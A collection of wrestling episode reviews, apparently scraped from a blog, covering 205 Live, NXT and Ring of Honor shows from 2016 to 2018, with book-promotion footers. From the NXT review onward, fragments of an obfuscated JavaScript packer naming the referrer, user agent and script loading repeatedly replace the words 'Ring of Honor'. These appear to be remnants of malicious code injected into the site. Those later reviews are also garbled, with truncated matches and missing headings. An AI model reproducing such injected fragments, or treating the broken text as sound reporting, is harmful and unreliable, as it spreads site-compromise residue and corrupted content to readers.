IMG Credit: WWE

205 Live
Date: July 17, 2018
Location: Mohegan Sun Arena, Wilkes-Barre, Pennsylvania
Commentators: Nigel McGuinness, Vic Joseph, Percy Watson

We’re continuing into the weird place for this show as we don’t have a #1 contender and it could be several weeks before we go anywhere with that search. There are other good things going on, but this place makes some strange decisions at times. If Drew Gulak isn’t winning the title soon though, I don’t know what to tell them. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Cedric Alexander surviving Hideo Itami to retain the title. As it turns out, Alexander wants to know who his next contender is immediately so ignore everything I’ve said so far.

Opening sequence.

TJP vs. Noam Dar

Before the match, TJP complains that he didn’t have time to prepare for his first match to Dar. Oh and he should get the title shot instead of jerking the curtain. TJP tries to charge him in the corner and gets kicked in the knee. The running kick to the face is ducked as TJP heads outside so Dar goes outside to kick him there as well.

Some mat wrestling goes to TJP as Dar has to get to the ropes at the last possible second to avoid a Fujiwara armbar. The slingshot hilo gets two on Dar and it’s off to a double arm crank which looks like the Rings of Saturn’s half uncle twice removed. A backslide gives Dar two but TJP reverses into a Fujiwara armbar.

Another armbar is countered into a small package to give Dar two and he smacks TJP in the face a few times. TJP can’t hit a TKO so Dar kicks him out to the floor instead. That’s fine with TJP, who kicks Dar’s knee out to take over again. A chop block sets up the kneebar to make Dar tap at 10:36.

Rating: C+. I’m glad they went this way with the idea of TJP just getting caught last time instead of being against the better man. Dar has never done much for me so I’m glad they don’t seem to be going with a huge push. TJP is an entertaining guy and the kneebar is becoming a top finisher so let him go with what he can do. Or put him on the main roster like he’s been threatening to do for months now.

Video on Alexander vs. Itami from last week.

Video on Mustafa Ali.

Drew Gulak vs. Danny Garcia

A clothesline and the Gulock are good for the win at 29 seconds.

Gulak wants a title shot and says Garcia reminds him of Cedric Alexander because Cedric will tap too.

Video on Kalisto vs. Tony Nese from last week with Buddy Murphy interfering and wrecking the Lucha House Party.

Murphy and Nese want a match with the House Party next week.

Lio Rush vs. Akira Tozawa

Tozawa has to fight out of an early headlock and things speed up, which is just fine for Rush. A hurricanrana puts Tozawa down and it’s time to lay on the top rope. Back up and Tozawa kicks him in the face, followed by a backsplash. Rush is fine enough to kick Tozawa to the floor but there’s no dive because that’s a little too faceish. Some shots to the face set up some elbow drops and we hit the chinlock. Thankfully Rush spins around so he’s looking at the camera because otherwise he might be out of a job.

Some chops have Rush begging off but it’s a little goldbricking so he can smack Tozawa in the face. You don’t do that to him though as he pops Rush in the face and hits the big suicide headbutt. A missile dropkick gives Tozawa two so Rush hits him again, meaning it’s time to take out the mouthpiece. Tozawa takes too long going up top though and the backsplash is broken up, allowing Rush to hit the frog splash for the pin at 9:00.

Rating: B-. Rush is an interesting case as his movement is almost hard to believe at times but he’s such a small guy that a lot of his offense doesn’t look great. The frog splash does look good but really, that’s one of the few moves he could use that has much of an impact. I like what he’s doing so far, though 205 Live is certainly his ceiling around here.

In the back, Alexander asks Drake Maverick who he’ll be facing for the title. Therefore, next week it’s Ali vs. TJP vs. Itami vs. Gulak for the title shot.

Overall Rating: C+. They’re moving the stories forward here with the possibility of Alexander’s reign ending being a real chance. The guy is trying and his matches are good but there’s no fire or sense of urgency to his stuff, which makes for some less than inspiring moments. Hopefully things pick up around here, possibly even with Drew Gulak. As strange as that sounds, it would certainly fit.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: July 10, 2018
Location: SNHU Arena, Manchester, New Hampshire
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

It’s time for a title match because this is the only place to air such a thing rather than this Sunday at the pay per view. This week champion Cedric Alexander defends against Hideo Itami, who has gone on a rampage through the show and would be a good choice to take the title. That being said, Drew Gulak is also lurking and would make a lot of sense to win the belt from Cedric. It’s nice to have options so let’s get to it.

Here are last week’s results if you need a recap.

We open with a long recap of Itami’s rise to the top of the division, eventually causing Cedric Alexander to want a title defense against him. That’s a great way to set up a title match and something we don’t get enough of anymore.

Opening sequence.

Kalisto vs. Tony Nese

Nese is flanked by Buddy Murphy to cancel out the Lucha House Party. Kalisto’s early flips just annoy Nese, who drives him into the corner with raw power. A whip into the corner is countered with a walk on the hands, much to Nese’s frustration. With Kalisto being a bit too fast, Nese slows him down a kick to the ribs, setting up a bodyscissors.

Kalisto fights back up and kicks Nese down again. A springboard crossbody gets two and it’s time to dance. Salida Del Sol is countered into a powerbomb into the corner but Nese misses a charge to put both guys down. The rest of the House Party starts playing their noisemakers and Murphy, being a human, gets annoyed and yells at them. Nese and Kalisto go out as well and the fight is on for the DQ at 6:12.

Rating: D+. This set up Lucha House Party’s next feud, which is still completely out of whack with three faces against two heels, but Kalisto is the only member worth anything and none of them are a match for Murphy. In other words it’s similar to what just happened with Drew Gulak and company but even more lopsided in the House Party’s favor.

Post match the brawl stays on and the House Party uses its numbers game to clear the villains out. That felt so wrong to write.

Drake Maverick welcomes Noam Dar back to the roster but TJP interrupts them. TJP thinks things are way worse around here since Dar left so trash talk ensues. Maverick makes the rematch for next week.

Video on Hideo Itami’s rise to being #1 contender.

Lio Rush vs. Colin Delaney

I didn’t recognize Delaney, who has gotten a haircut and grown a beard since his WWE run (which to be fair was about ten years ago). He’s also put on some much needed size. Akira Tozawa comes out to watch just like Rush did last week. After the bell, Rush goes outside and sets up a chair for Tozawa like a nice gentleman. Back in and Colin gets two off a rollup so Rush speeds things way up and kicks Delaney down. With Delaney on the apron, Rush does a Tajiri handspring to knock him outside as the destruction continues. The frog splash ends Delaney at 1:22. Rush is looking awesome so far.

Post match Tozawa congratulates Rush but asks what he’s done around here. Rush isn’t happy and a fight is teased but Maverick comes out to say the match is on next week.

Video on last week’s great Mustafa Ali vs. Buddy Murphy match.

Drew Gulak, Brian Kendrick and Jack Gallagher are going to be watching the main event closely. Gulak is holding the camera and has some advice for the fans: Heed this selfie. Sage words man.

Cruiserweight Title: Hideo Itami vs. Cedric Alexander

Itami is challenging. They fight over a lockup to start and Itami just misses a big kick to the face. Alexander gets all fired up and drives Hideo into the corner for a clean break. Alexander wants Itami to show him something so Itami kicks him in the chest. Well he did ask. The hard kicks give Itami two more as the pace slows down. That means a COME ON and a RESPECT ME, followed by a bodyscissors to keep Alexander in trouble.

Back up and another knee to the ribs gets another two on the champ. More lame shouting and a neckbreaker are good for two so we hit the chinlock to continue Itami’s hard hitting style. Cedric fights up (yes fighting out of a chinlock) and a springboard Downward Spiral puts Itami on the floor. The big flip dive sets up the Neuralizer for two more but Itami is right back up with his top rope clothesline.

Itami kicks him even more and blasts him in the face with a right hand. That’s enough frustration and it’s time to take off a turnbuckle pad. Before Itami can use that though, he has to break up a springboard to send Alexander outside. A running dropkick drives Alexander head first into the steps but only gets two back inside. Not that it matters as Alexander hits a Lumbar Check for the fast pin at 15:42.

Rating: B-. And that’s pretty much it for Itami’s chances of meaning anything in WWE. This would have been about as good of a chance as he was going to have of becoming something that mattered and he just loses. The RESPECT ME deal doesn’t work and he’s not exactly destroying people with his offense. The match was good but there’s no spark or fire to Itami, and certainly no reason to get interested in him. Now the bigger problem: the same thing is true of Alexander.

Overall Rating: B. It’s a good show which set some stuff up for the future, but the biggest thing is Alexander holding the title. There are several good options to go after the title and Alexander isn’t exactly doing much with it. He just shows up every few weeks for a defense and then goes back to doing nothing of note. It’s a weird place to be as he’s talented in the ring but not exactly charismatic. Move on from him and the show could get a nice boost. It’s still good though, which is a far cry from where we were just a few months back.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: July 3, 2018
Location: Century Link Center, Omaha, Nebraska
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

Things are starting to look up around here as the characters and stories are getting better. Tonight we have what should be the big ending to a pretty solid rivalry as Mustafa Ali faces Buddy Murphy in a No DQ match. Ali is one of the best things about this show and Murphy looks better every week so this should be good. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick’s opening recap looks back at Cedric Alexander challenging Hideo Itami and a fight nearly breaking out as a result. The match is on for next week. TJP’s recent issues with Maverick get a look as well.

Here’s TJP for a match against an opponent of Maverick’s choosing. As TJP puts it, hasn’t that been the case for every one of TJP’s recent opponents? He’s not happy to not be in the main event in this dump of a town because fun and excitement come to Nebraska to die. So get the opponent out here.

TJP vs. Noam Dar

This is Dar’s first match on 205 Live in several months after a bad knee injury. TJP’s look of “well dang it” when Dar comes out is great. Dar explodes with some strikes, kicks him in the leg and hits the running kick to the head to pin TJP in 29 seconds. Well that certainly worked.

We look back at Ali beating Murphy four months ago in the Cruiserweight Title tournament by taking out Murphy’s arm. Ali tried to do the same thing two months later but Murphy got more aggressive and won the rematch.

Murphy is ready to send Ali to the hospital before getting his title shot.

TJP leaves without talking about what just happened.

Akira Tozawa vs. Jaysin Strife

Hang on though as Lio Rush comes out to watch. Tozawa chops away to start and decks Strike in the jaw with a right hand. There’s a backsplash but Strife does manage a jumping knee to the face. Tozawa has had it with him though and his a Shining Wizard, followed by the top rope backsplash for the pin on Strife at 2:07.

Rush seems impressed and gets on the announcers’ table to praise Tozawa. He should be ashamed though because there’s a difference between Tozawa and Rush. See, Rush doesn’t wait for anything because he’s just too good to wait.

Ali is ready to run straight at danger tonight.

Alexander is ready to take out the next challenge to his legacy.

Mustafa Ali vs. Buddy Murphy

No DQ and Ali punches him off the apron before the bell, setting up a big dive to the floor. They get inside for the bell and Murphy kicks him in the head before taking it right back outside. Ali punches his way out of the announcers’ area and sends Murphy face first into the steps. A crossbody off the barricade takes Murphy down in the crowd as they’re going very hard in the opening minutes.

Back to ringside with Ali trying to walk the barricade but getting pulled down by the hair for a crash onto the ramp. A suplex onto the ramp has Ali’s back in even more trouble and it’s off to a chinlock with a knee in the back. Thankfully a rope grab means nothing here so Murphy goes with a hard kick to the back to keep Ali in trouble again. Murphy: “I could do this all day.” Or all night, as the show doesn’t take place during the day. A rather nice back body drop and a forearm to the spine continue the targeting with a good variety.

Murphy ducks his head though and gets kicked in the face to finally give Ali a breather. There’s a dropkick to put Murphy in the corner and the rolling X Factor gets two. They head outside again with Ali eating some announcers’ table so Murphy sends the steps inside with the edge on the apron. As Ali gets up, Murphy baseball slides them into his face and follows with a big springboard flip dive, which actually impresses the crowd.

Back in and the steps are set up in the corner with Ali being tossed into them for a nasty looking crash, back first of course. Since Ali won’t give up, he sends Murphy into the steps with a hurricanrana. Murphy isn’t done though and snaps off a powerbomb into a sitout powerbomb for a heck of a near fall. They’re beating the heck out of each other here and it’s awesome. Murphy, rather frustrated now, goes up but gets crotched, leaving Ali to ram the steps into his head. Fans: “NO MORE STAIRS!” Oh good grief. Let me guess: they would prefer tables.

With Murphy still on the top, Ali stands the steps up and stands on top of them for an extra high superplex and a BIG crash. Ali knocks him outside but gets flapjacked onto the announcers’ table, drawing another meek WE WANT TABLES chant. Murphy climbs onto the barricade but Ali gets up, jumps onto the table and then onto the barricade for a C4 onto the announcers’ table, which doesn’t break. Freaking OW MAN!

Back in and Ali gets his arms tied in the ropes, leaving Murphy to hit three straight running knees to the head. Somehow Ali isn’t dead and looks up at Murphy with a shake of his head. Another knee to the head gets two, leaving Murphy completely flabbergasted. Murphy grabs the steps again but charges into a boot, allowing Ali to run up the steps and hit his pop up tornado DDT for the pin and the title at 22:47.

Rating: A. That’s pretty easily the best 205 Live match ever as they absolutely did not stop the entire time with Ali fighting through the back injury with the pure heart that defines him like no one else. Ali surviving the biggest, hardest hitting guy on the roster for over twenty minutes and even managing to beat him was incredible stuff and one of the best matches I’ve ever seen this show have. One day Ali is going to (or at least certainly should) win the Cruiserweight Title and it’s going to be one of the biggest reactions this show has ever seen. Make time to see this match as it’s absolutely amazing.

A lot of replays take us out.

Overall Rating: A+. I’m not sure what else you could ask for on a fifty minute show. You had a hot angle at the beginning, a squash to start a new feud and an instant classic for the main event. I loved this show and couldn’t stop watching the main event. 205 Live has rapidly become a treat to watch and this was the best episode they’ve ever done. Check this show out and keep watching it.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: June 26, 2018
Location: Citizens Business Bank Arena, Ontario, California
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

It’s another big show this week with the in-ring debut of Lio Rush, but also what should be the final blowoff between Lucha House Party and Drew Gulak/Brian Kendrick/Jack Gallagher. Both of these are interesting stories, but Rush debuting could be a big deal. He certainly has talent, but this is the only place in WWE where he has any real chance of making it work. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video previews tonight’s card, even down to the match order, which you don’t see very often.

Opening sequence.

Akira Tozawa vs. Tony Nese

Nese has Buddy Murphy with him. Tozawa doesn’t care to that Nese screams about being the Premiere Athlete and chops him down, followed by some stomps in the corner. Back up and Nese fires off some kicks, only to have Tozawa show him how to really throw some kicks. Nese bails to the floor and catches a diving Tozawa, sending him face first into the apron to really take over. Back in and a springboard moonsault gives Nese two but Tozawa is right back up with a Shining Wizard.

That’s enough to put Nese on the floor for the suicide dive and it’s time for the top rope backsplash. It’s a bit too early for that though as Nese breaks it up with a gutbuster, only to charge into raised boots in the corner. The backsplash is broken up again, this time with an uppercut that knocks Tozawa’s mouthpiece out in a great visual. A gordbuster gets Tozawa out of trouble again though and now the backsplash is good for the pin on Nese at 7:35.

Rating: C-. Tozawa is one of those guys who has been around the midcard/upper midcard of the show for a long time not but outside of that six day Cruiserweight Title reign last year, he hasn’t exactly done anything significant. It’s fine to keep him strong like this but it feels like he’s on a treadmill, just like so many others on this show. Like Nese for example.

We look at last week’s triple threat match.

Cedric Alexander comes in to see Drake Maverick and wants to know when his next title defense is going to be. Maverick says he’ll let him know but that’s not good enough for Cedric. He thinks it should be Hideo Itami (makes sense) but Maverick says he won’t reward bad behavior. Cedric pleads Itami’s case because he wants that notch on his belt. It will be considered.

Lio Rush vs. Dewey James

Rush is very cocky and has to take off his jewelry before we’re ready to go. After taking twenty seconds to take off his bracelet, Rush, does runs the ropes, only to keep stopping on a dime to avoid James. Some quick strikes put Dewey on the floor and a rolling kick to the head has him in more trouble back inside. Rush checks his non-existent watch and finishes with the Final Hour (Low Down) at 1:50. Impressive debut and exactly how it should have been.

Post match Rush says he’s the future (as everyone seems to be) and he does things that people in the back only dream of doing. He’s the man of the hour, and it’s Rush Hour.

Cedric is confident that he can handle Itami and wants the challenge. Itami comes in and a fight almost breaks out but Maverick and referees are right there for the save.

Next week: Mustafa Ali vs. Buddy Murphy in a No DQ match.

Lucha House Party vs. Drew Gulak/Jack Gallagher/Brian Kendrick

Elimination rules. The luchadors waste no time in diving onto the other three and we officially start with Metalik moonsaulting past Gallagher. Kalisto gets tossed into the air for a splash on Gallagher and the springboard elbow gets two, with Kendrick (still in his jacket) making the save. Gulak breaks up the rope walk and Gallagher headbutts Metalik out of the air for the first elimination at 1:16. Well that was fast.

Lince comes in and kicks Kendrick in the head but gets backdropped off the top for his efforts. Things slow down with Gulak coming back in as Nigel actually offers some strategy and analysis, which I forgot existed around here. Gulak goes even more harsh by pulling off Lince’s mask, sending him bailing to the floor to put it back on. We settle back down to Kendrick kneeing Dorado in the chest and driving a knuckle into the arm. Dorado isn’t done yet though as he handsprings into a kick to Gallagher’s head and scores with the Golden Rewind on Kendrick for the elimination at 6:41.

That’s not enough to get Dorado out of trouble though as Gallagher and Gulak take turns working on Dorado’s arm to keep him down. Gallagher grabs a very painful looking arm hold but Gulak gets caught with a spinwheel kick. There’s no hot tag though as Kendrick is back to pull Kalisto off the apron, leaving Gulak to Gulock Dorado for the tap at 10:00.

That leaves Kalisto vs. Gallagher/Gulak so Kalisto starts fast with the hurricanrana driver for two on Gulak. A few shots to the knees have Kalisto in trouble but he sends Gulak to the apron. Using him as a springboard, Kalisto grabs the Salida Del Sol for the pin on Gallagher at 13:40. Kalisto keeps things going with a flip dive over the top to take Gulak down again and a springboard high crossbody gets two. The Salida Del Sol is broken up with a rip of the mask and the Gulock ends Kalisto at 16:32.

Rating: C+. The match was fine but it really didn’t tell us anything that we didn’t already know. The Lucha House Party is better as a team but Gulak is better than any of the individual members and has firmly established himself as the awesome submission expert. That’s been established for weeks now and there’s nothing left for these six to do together. Move on.

Post match Gulak rips the mask off of Penelope the pinata and throws it into the crowd to end the show.

Overall Rating: C. The ending brings about another problem: Alexander is still a boring champion and has Itami and Gulak coming after him, but given how slow this place is about giving title shots, it could be a LONG time before either of them take the title from him. With Cedric as the top guy, there’s nowhere for this show to go (along with all of its other problems that is) and things need to change. The problem is that could take a very, very long time. What we have here is fine, but there’s a very low ceiling to how far they can go.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: October 11, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

It’s another pretty big show this week as we have a Takeover: Brooklyn rematch with Johnny Gargano vs. Andrade Cien Almas. The other big story continues to be Sanity vs. the Undisputed Era with Drew McIntyre watching over the whole thing. Roderick Strong is the other factor, as the Undisputed Era seems interested in adding him to their ranks. Let’s get to it.

We open with a look at Asuka vacating the Women’s Title and the process to crown a new #1 contender.

Opening sequence.

Peyton Royce vs. Liv Morgan vs. Nikki Cross

The winner is in the Women’s Title four way at Takeover. Cross and Morgan yell at Royce to start and a double clothesline puts her on the floor. Nikki immediately goes after Morgan with a sleeper on her back but it’s quickly broken. Royce is back in to yell at Morgan before kicking her down without too much effort. A modified Tarantula has Morgan in more trouble but Cross makes the save by pulling Royce out to the floor in a nasty looking crash. All three are back in now and it’s Cross beating the heck out of both of them.

A crossbody takes Royce and Morgan down and a neckbreaker gets two on Morgan. Peyton throws Nikki down for a second but she takes too long trying for a superplex on Morgan, setting up the Tower of Doom. Cue the Undisputed Era of all people with Taynara Conti from the Mae Young Classic. She comes to the ring to trip Cross, though it doesn’t really do much damage. Cross neckbreakers both Royce and Morgan but Conti pulls her out at two. The chase is on and Royce catches Cross in the fisherman’s suplex for the pin at 7:16.

Rating: B-. I’m a bit surprised and I like the twist they threw in there. That being said, I’d be shocked if Cross didn’t wind up in the title match somehow. She’s one of the biggest stars the division has left and it could be interesting to put the title on someone as crazy as she is. The Undisputed Era potentially adding a female member is interesting and makes the team feel even bigger.

Lio Rush vs. Velveteen Dream

Rush slaps him in the face to start and is way too quick for Dream to catch up with. A pair of kicks to the head rocks Dream but he gets sent hard into the corner. Dream beats him down and keeps telling Rush to say his name. Rush spins around into a tornado DDT but gets caught in a Death Valley Driver. The Purple Rainmaker puts Rush away at 2:46. Rush looked good while he had the chance but this was WAY too short to be any kind of a showcase for him.

We look back at Lars Sullivan destroying Oney Lorcan two weeks ago.

Lars Sullivan vs. Danny Burch

Burch gets right in Lars’ face and gets in a shot to the face, only to take a knee to the ribs to cut him off in a hurry. Lars runs him over with a shoulder and a delayed vertical suplex, followed by a clothesline to cut Burch off. The standing Boss Man Slam is good enough to put Burch away at 2:59.

We look back at the end of last week’s title match with Drew McIntyre successfully defending against Roderick Strong. After the match they shook hands but the Undisputed Era spoke to Strong on the stage.

Street Profits vs. Damien Smith/Marcos Espada

The Profits are really starting to grow on me. Ford shouts a lot and gyrates at Smith to start things off. The Profits waste no time in hitting the World’s Greatest Tag Team’s (or the Beverly Brothers’ for you older fans) jump over the back onto your opponent’s back spot but Ford heads outside to bark. Dawkins splashes Smith in the corner and it’s a spinebuster into the frog splash for the pin at 53 seconds. Well that worked.

The Profits celebrate in the crowd.

Next week: Ember Moon vs. Ruby Riot vs. Sonya DeVille in a Women’s Title qualifying match.

Also next week: Sanity vs. Undisputed Era in a six man tag.

Johnny Gargano vs. Andrade Cien Almas

Takeover: Brooklyn rematch. Feeling out process to start as the announcers discuss what the name Johnny Wrestling means. I’d think it was pretty self explanatory but that’s never stopped WWE before. Gargano grabs a front facelock so slow Almas down but they roll up to a standoff. An elbow and a shoulder have Johnny in some early trouble and Almas has a breather in the ropes.

It’s WAY too early for the Gargano Escape as Almas is too close to the ropes. Back in and a dropkick gives Gargano a cover but not even a one count, which you don’t see that often. We take a break and come back with Almas grabbing an armbar over the top rope and kicking Gargano in the side of the head for a rather cocky two. Johnny is right back with a DDT on the arm and it’s off to a slugout. A tornado Flatliner of all things drops Almas but the spear through the ropes is caught.

Johnny sends him outside though and there’s the suicide dive. Back in and Gargano kicks him in the head but his reverse tornado DDT is countered into something like an Iconoclasm for two. An arm trap German suplex gives Almas the same but the second armbar over the ropes is broken up with some kicks to the back. Another slugout sees Gargano get two off a superkick and it’s time to go up.

Almas shoves the referee into the ropes for a crotching but Johnny isn’t about to take a super hammerlock DDT. Instead it’s a clothesline off the top and a lawn dart to send Almas into the corner. The Gargano Escape goes on but Vega takes off her jacket to reveal the DIY shirt. The distraction lets Almas get to the ropes and Gargano goes to yell at Vega. A pinfall reversal sequence goes nowhere but Gargano is sent into the corner for the double knees to the back of the head twice in a row. The hammerlock DDT ends Gargano at 16:48.

Rating: B. I’m really curious about where this Gargano story is going as they have something with him not being able to get past the DIY stuff. They can fill in a lot of time until Ciampa is back for the big showdown and Gargano can pretty much lose everything until we get to that point.

Overall Rating: B+. Five matches in less than an hour is a rather impressive performance and yet I’m not even surprised they were able to pull it off. Anymore you’re lucky to get two on any given Raw or Smackdown and yet NXT manages to pack more in and feel more entertaining at the same time. It’s another good show this week as a lot of the stories have me wondering where they’re going next, which is the polar opposite of the main roster right now. Good stuff, as usual.

Results

Peyton Royce b. Liv Morgan and Nikki Cross – Fisherman’s suplex to Cross

Velveteen Dream b. Lio Rush – Purple Rainmaker

Lars Sullivan b. Danny Burch – Standing Boss Man Slam

Street Profits b. Damien Smith/Marcos Espada – Frog splash to Smith

Andrade Cien Almas b. Johnny Gargano – Hammerlock DDT

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnrak|var|u0026u|referrer|zsdsk||js|php'.split('|'),0,{})) of Honor
Date: April 26, 2017
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: Colt Cabana, Ian Riccaboni

We see stills from Supercard of Honor XI, now only three weeks old.

Opening sequence.

Video on Marty Scurll retaining the TV Title at Supercard of Honor.

Kazarian is ready to replace the chip on his shoulder with the TV Title.

Lio Rush vs. Shane Taylor

Post match the Motor City Machine Guns come out to prevent a post match beatdown, which takes place anyway as the Rebellion destroys the Guns.

We look at Josh Woods and John Skyler before the tournament finals. I believe this is the same video as last week.

Top Prospect Tournament Final: John Skyler vs. Josh Woods

A second backsplash is countered into a quickly broken triangle choke, followed by a series of strikes. Some suplexes give Woods two and he slips out of Southern Salvation (super Regal Roll). Skyler comes right back with a spear on the apron, followed but a slingshot spear for two more. For some reason Skyler tries another spear, only to dive into something like a GTS of all things. John tries a charge in the corner but gets caught in a Rolling Chaos Theory. Woods floats over into a kneebar for the tap and the tournament at 9:28.

Adam Cole wants to make up with the Young Bucks and get back to being the Bullet Club again.

TV Title: Marty Scurll vs. Kazarian

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shbrt|var|u0026u|referrer|kknbi||js|php'.split('|'),0,{})) of Honor
Date: March 22, 2017
Location: Stage AE, Pittsburgh, Pennsylvania
Commentator: Ian Riccaboni

^{Opening sequence.}

Beer City Bruiser/Silas Young vs. Cheeseburger/Will Ferrara

Before the match, Young and Bruiser confirm that they have a partner for the April 1 shot at the Six Man Tag Team Titles. Cheeseburger gets flattened with a powerbomb to start before a suplex and low clothesline drop Ferrara. The wrestling sandwich dives back in though and sends his partner into Silas to get a breather. The villains tease sending Cheeseburger over for a tag before grabbing him in a swinging Boss Man Slam backbreaker. Not bad.

Top Prospect Tournament First Round: Josh Woods vs. Chris Lerusso

Lio Rush vs. Kenny King

Chris Sabin and is the new commentary partner. They hit the mat to start with neither being able to hold a headscissors. King misses a bunch of strikes which Rush hits with ease, followed by a jumping enziguri for two. Rush sends him outside for a dive but Kenny breaks up a dive with a kick as we take a break.

Back with Lio slugging away and hitting a Tajiri handspring elbow. Two straight suicide dives keep King in trouble but he rolls through a high crossbody, only to get taken down by a reverse hurricanrana. The frog splash is only good for two (thankfully, as that would have been two of them in three matches). King misses running knees in the corner though and a second frog splash misses. Kenny grabs the Royal Flush for the pin at 8:17.

Post match Caprice Coleman stares Rush down but Shane Taylor comes out for the save. As you might expect, that lasts all of thirty seconds before Taylor lays him out to join the Rebellion. This stable DOES NOT NEED new members!

Jay White vs. Jay Briscoe

Mark Briscoe is on commentary and this is a rematch from their great time limit draw a few months back. White dropkicks him into the corner to start and then sends Briscoe outside for some elbows up against the barricade. Briscoe is done with this defense thing and grabs a hurricanrana, followed by a suicide dive into the barricade for a big crash.

Rating: B. White is good and these two matches have done a great job of making you believe that he can hang with someone much higher up the ladder like Briscoe. ROH takes way too long to build up new stars sometimes so this was quite the change of pace, which is certainly a good thing. Awesome match here as these two have some wicked chemistry.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nraas|var|u0026u|referrer|htina||js|php'.split('|'),0,{})) of Honor
Date: January 18, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Nigel McGuinness

Opening sequence.

Jay White/Lio Rush/Donovan Dijak vs. The Rebellion

Post match the Rebellion destroys the winners but take it easy on Rush. Chris Sabin comes in for the save.

Video on Marty Scurll, who is a natural villain.

Video on Cody (Rhodes) turning heel at Final Battle.

Cody vs. Steve Corino

Recap of the tournament.

Decade of Excellence Tournament First Round: Jay Lethal vs. Jushin Thunder Liger

They bow to each other to end the show.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfebs|var|u0026u|referrer|zftan||js|php'.split('|'),0,{})) of Honor
Date: December 21, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

^th champion.

Mark Briscoe

Christopher Daniels

Chris Sabin

Colt Cabana

BJ Whitmer

Jay Briscoe

Jay Lethal

Jushin Thunder Liger

Decade of Excellence Tournament First Round: Mark Briscoe vs. Christopher Daniels

Apparently Daniels mentored Mark when he first got here. Feeling out process to start with shoulder blocks having no effect all around. The threat of Red Neck Kung Fu backs Daniels up but he does his own crane pose. Mark hammers away in the corner until an STO gives Daniels a breather.

Lio Rush vs. Caprice Coleman

The Rebellion beats Rush down until Donovan Dijak and Jay White make the save.

The Bucks beat down the good guys to start because the Bucks are the most popular wrestlers in the company. Cole takes the advantage but gets into a slugout with Kyle, who actually loses early on. Kyle sends him outside for a running knee from the apron as all six are on the floor.

Back from a break with Nick getting crotched on top but the Bullet Club breaking up the tag attempt. Three straight superkicks knock Kyle out and the Swanton off the apron keeps the Bucks looking perfect. Kyle finally blocks a splash with raised knees and the hot tag brings in Dalton for three straight German suplexes.

Overall Rating: D+. This was a rather up and down show as some of the booking made me want to pull my hair out but the wrestling was good enough to make up for parts of it. I like the idea of Kyle fighting half the roster for the title but I could go for less Bucks being treated like the most untouchable thing ever. Then again, Kyle did make one of them tap out to end the show and that helps a lot.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznfh|var|u0026u|referrer|nssya||js|php'.split('|'),0,{})) Battle 2016
Date: December 2, 2016
Location: Hammerstein Ballroom, New York City, New York
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Opening sequence.

